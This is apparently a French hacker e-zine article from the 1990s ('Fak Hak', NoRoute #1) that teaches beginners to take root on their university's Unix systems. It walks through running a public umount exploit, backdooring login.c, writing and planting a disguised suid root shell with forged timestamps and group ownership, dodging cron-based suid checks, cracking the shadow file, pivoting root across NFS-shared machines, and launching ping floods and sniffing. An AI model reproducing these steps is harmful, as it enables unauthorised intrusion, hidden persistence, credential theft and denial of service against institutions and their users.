------------------------------------------------------------------------------- NoRoute #1 ¦ Fak Hak ¦ 4756 ¦ s0RC3Ry ¦ NoRoute #1 ------------------------------------------------------------------------------- ( -:$[ FAK HAK ]$:- ) +> Ou comment hacker sa fac en xxxx lecons <+ ( Mais pas beaucoup en tout cas ) Cet article s'adresse aux debutants sous unix qui ont pas envie de se prendre la tete a maitriser et qui ont besoin d'avoir acces au compte de leurs profs par exemple (mais pour quoi faire au juste ?)... Materiel necessaire.... NoRoute #1.. Un account sur une becanne unix de la fac.. Une legere connaissance de unix.. Une conscience.. Sous unix le seul account interessant est l'acces root. Nous sommes bien d'accord, root est le compte qui vous permet de tout faire sur un systeme. Son user_id est 0 est son group_id est le meme.. Commencez tout d'abord par reconnaitre le systeme utilise par la machine, chaque systeme a ses holes et ses problemes... Pour cela, faites appel a "uname -a" qui vous donnera une reponse franche : SunOS 4.1.4 par exemple.. Vous avez desormais acces a un systeme bourre de bugs potentiellement exploitables... La grande mode en matiere de hack, et la grande technique utilisee par tous de nos jours car elle est simple et efficace et ne demande pas une grande connaissance du systeme est l'exploit. L'exploit est un petit programme ou une serie de commande trouvee par un ingenieux bonhomme qui permet souvent de chopper l'acces root sur un systeme. Obtenir des exploits n'est pas tres complique... Un petit ftpsearch sur exploit vous donnera au moins un ftp bourre d'exploits pour differents systemes que vous n'aurez plus qu'a utiliser pour chopper le root.. Un exploit celebre est celui de la commande umount sous BSD. Si cette commande possede le bit suid c'est a dire si "ls -l /bin/umount" vous donne un truk comme: -rwsr-xr-x (presence du 's' vous l'avez vu ?) et que la version de umount est assez ancienne, alors vous pouvez chopper un root sur le systeme. Vous choppez l'exploit sur votre chti ftp, que nous appelerons ici mount.c Vous le compilez donc: host:~> cc mount.c -o exploit host:~> exploit Discovered and Coded by Bloodmask and Vio, Covin 1996 bash# whoami root bash# Et vous etes root. La simplicite de la chose explique pourquoi de nos jours il y a tellement de jeunes abrutis qui annoncent fierement leurs root dans #hack... =) Cet exploit utilise en fait une architecture de code propre aux mauvais programmes qui permet de modifier l'adresse de retour d'un call. En effet, le programme umount devient root pendant son execution grace au bit suid. En l'executant et en forcant le retour d'un call vers une routine qui execute un shell, on obtient ainsi un shell root...(voir exploits... =) C'est un exemple parmi tant d'autres.. Disons franchement qu'en cherchant bien sur le net et en essayant betement tous les exploits propres a un systeme, meme si vous etes une grosse brelle en matiere d'unix, vous arriverez a chopper le root dans votre fac huh... Bien entendu les administrateurs systemes des facs sont au courant de ces exploits et fixent en permanence leur systeme contre ceux-ci (du moins dans ma fac, ou j'ai eu un mal fou a chopper le root arf).. Une fois que vous etes root, vous ne pouvez bien entendu pas vous permettre d' utiliser l'exploit en question a chaque fois que vous desirez passer root sur le syteme, pour la simple raison que ce hole ne restera pas longtemps en place... Il vous faut donc planquer quelquepart un chti programme qui vous donnera l'acces root tout le temps mais qui ne sera pas decouvert par le root lui-meme.. Le mieux est d'avoir acces aux sources d'un programme suid peu souvent change par la fac que vous pourrez modifier pour vous donner un shell lorsqu'il est appele avec certains arguments... Par exemple, integrer a login.c un test if (!strcmp(username,"sorcery")) return (0); qui vous permettra de vous logger en root depuis n'importe ou... Sans laisser de traces sur le syteme. L'exemple ci-dessus ne tient absolument pas compte du code original de login.c le but est seulement de vous faire piger le principe... =) Un autre moyen, utilisable dans les systemes peu surveilles, mais assez discret quand meme, est de vous creer votre programme a vous, suid, qui vous donnera le root... Bien entendu il faut securiser ce programme en le deguisant en programme normal. Donnez lui un nom qui fasse "vrai" et qui justifie le bit suid par exemple "xfixconsole" qui d'apres son nom necessite un acces a la console et donc un root.. Placez le dans un repertoire peu frequente tel que /usr/X11R5/bin/ par exemple. Voici un exemple de code: ----8<-----8<-------8<--------8<-------cut here-------8<------8<------- /* Xfixconsole by Sorcery Sacre joli nom huh... Ne donne le shell que si il est appele ansi: host:~> xfixconsole fixing */ void main(int argc, char *argv[]) { if ( (argv[1]) && (!strcmp(argv[0],"xfixconsole"))\ && (!strcmp(argv[1],"fixing")) ) { setuid(0); setgid(0); system("/bin/bash"); } else { printf("\nFixed 0xA000\n"); } } ----8<-----8<--------8<--------8<----------cut here---------8<-------- Ensuite, compilez le programme et placez le dans le repertoire voulu... bash# cc xfixconsole.c -o xfixconsole Avant de le deplacer, nous allons noter la date de derniere modif du rep /usr/X11R5/bin... ("ls -l /usr/X11R5"). Disons que nous trouvons Jan 1 1994. bash# mv xfixconsole /usr/X11R5/bin/ Il faut maintenant lui donner les permissions voulues (+s) pour qu'il puisse changer son uid et son gid a 0... bash# chmod +s /usr/X11R5/bin/xfixconsole bash# ls -al !$ ls -al /usr/X11R5/bin/xfixconsole -rwsr-xr-x 1 root wheel 38613 Jan 1 1997 .../bin/xfixconsole* bash# voila qui est mieux. Maintenant il faut cacher ce fichier: il y a trois choses a modifier pour que le fichier passe discretement: -la date du fichier -son proprietaire -la date du '.' (eh oui, la date du rep a change aussi) Pour cela, nous mettons le fichier a la meme date que les fichiers qui lui sont proches: (cela passe bien lorsqu'une serie de cinq fichiers sont cotes a cotes et ont la meme date...) bash# ls -l /usr/X11R5/bin/xf* -r-xr-xr-x 1 root bin 385636 Jul 28 1995 /usr/X11R5/bin/xfig* -rwxr-xr-x 1 root bin 148600 Jun 24 1995 /usr/X11R5/bin/xfile.. ..manager* -rwsr-xr-x 1 root wheel 38613 Jan 1 1997 /usr/X11R5/bin/xfix.. ..console* -rwxr-xr-x 1 root bin 117344 Jun 18 1995 /usr/X11R5/bin/xfm* -rwxr-xr-x 1 root bin 770 Jun 18 1995 /usr/X11R5/bin/xfm.ins.. ..tall* -rwxr-xr-x 1 root bin 14184 Jun 18 1995 /usr/X11R5/bin/xfmtype* bash# bash# touch -t 180614591995 /usr/X11R5/bin/xfixconsole bash# touch -t 010114591994 /usr/X11R5/bin bash# chgrp bin /usr/X11R5/bin/xfixconsole bash# ls -l /usr/X11R5/bin/xfixconsole -rws--x--x 1 root bin 38613 Jun 18 1995 /usr/X11R5/bin/xfix.. ..console* Vous avez desormais un chti root sympa sur le systeme, qui vous permettra de bien vous marrer. A verifier cependant avant d'installer un tel prog: les crontabs. Dans /usr/spool/cron/crontabs/root, vous trouverez une liste d'instructions executees automatiquement par le systeme pour le root. Verifiez bien qu'aucun script n'est lance qui detecterait par exemple les nouveaux suid installes sur le systeme (utilisant generalement la commande find) ou autre chose qui vous grillerait... Choppez maintenant le fichier shadow, ou son equivalent selon les systemes.. (passwd.orig, passwd.secure, /auth/*/*...).. et crackez vous deux ou trois accounts a l'aide d'un cracker trouve sur le net (guess, par exemple, ou crack etc..). Cela vous permettra de ne plus vous logger avec votre compte pour bidouiller le systeme, ce qui peut etre assez pratique parfois... Passons maintenant a une aventure qui m'est arrivee dans ma fac et qui pourrait bien vous arriver si votre fac utilise plusieurs parcs de systemes differents... J'avais le root sur le parc HPUX, et besoin du root sur les SunOS de ma fac. Mon home etait le meme sur les deux, car le meme disk etait partage par NFS entre les becannes. Le disque etait en local sur HPUX et en NFS sur les SUNS. Le but etait donc d'exploiter le root de HPUX pour ne pas avoir a essayer des dizaines d'exploits sur la sun dont le sunos etait plutot bien protege... Voici donc la methode utilisee: sun:~> indique que les commandes sont tapees sur la sun. hp:~> indique que ma mere m'appelle pour diner ahum. sun:~> cc xfixconsole.c -o root j'avais donc dans mon home, le fichier xfixconsole.c compile pour sunos, bien entendu non executable sur la hp... hp:~> cd /usr/X11R5/bin Car '/usr/X11R5/bin/xfixconsole fixing' ne marchera pas.. =) hp:/usr/X11R5/bin/> xfixconsole fixing bash_hp# cd bash_hp# chown root.wheel ./root bash_hp# chmod 755 ./root bash_hp# ls -al ./root -rwsr-sr-x (.../...) root bash_hp# sun:~> ./root bash_sun# whoami root bash_sun# En utilisant mon home comme passerelle, j'ai donc reussi a executer sur la sun un suid via nfs... Il faut savoir que cela ne marchera que si: 1) Le root obtenu est sur la machine ou le home est local: via nfs, le root n'a pas le droit de modifier des fichiers qui ne lui appartiennent pas, et en particulier les rendre suid arf.. (sauf en "insecure"...) 2) Le filesystem est mounte via NFS sans le flag "nosuid" : pour verifier, faites un df ., qui vous donnera les flags separes par des virgules en plus de la place disk... (rw,nosuid...) La meme manip est donc utilisee sur la sun... Pour utiliser touch sous sunos, il faut passer par /usr/5bin qui contient les binaires repondant aux normes SVR4 (system 5 release 4), car le /usr/bin de sunos contient un touch qui ne permet pas de specifier une nouvelle date... A la fin donc, si j'ai bien tout calcule, on se retrouve avec un controle total de la fac qui peut etre assez plaisant =)... [MAiS QUE FAiRE AVEC CE r00t ?] Bonne question... Plusieurs activites sont marrantes a faire avec un root. Il y a tout d'abord le flood, qui, si vous avez le root sur un reseau a grande bande passante, vous permet de faire couler pas mal de connections 14.4 sur le net... Pour cela, plusieurs utilitaires existent sous linux par exemple, a peu pres tous bases sur le syn flood qui a tendance a plus trop marcher. Le ping est encore assez efficace: ping -f host en particulier si vous avez la bonne version de ping....est assez mechant quand il est utilise avec des '&' par exemple while (1) while> ping -f host & while> end est assez marrant.... pour arreter le massacre, killer le while puis faire un killall ping... ICMP rulez! =) On peut egalement sniffer avec un root...si le systeme est un noeud important pour d'autres becannes, ou si il est beaucoup frequente, il est possible de chopper, en ecoutant les connections reseaux, plusieurs acces un peu partout et pourquoi pas d'autres rewts.. =) Enfin, le but du rewt est surtout de l'avoir, ensuite imaginez vous tout simplement aux commandes d'un systeme en 64Mbits sur le net et vos idees viendront vite... =) -SorcerY Grmbl.. Placons ici quelques greetings =) Le truk chiant dont personne a rien a foutre sauf Octagon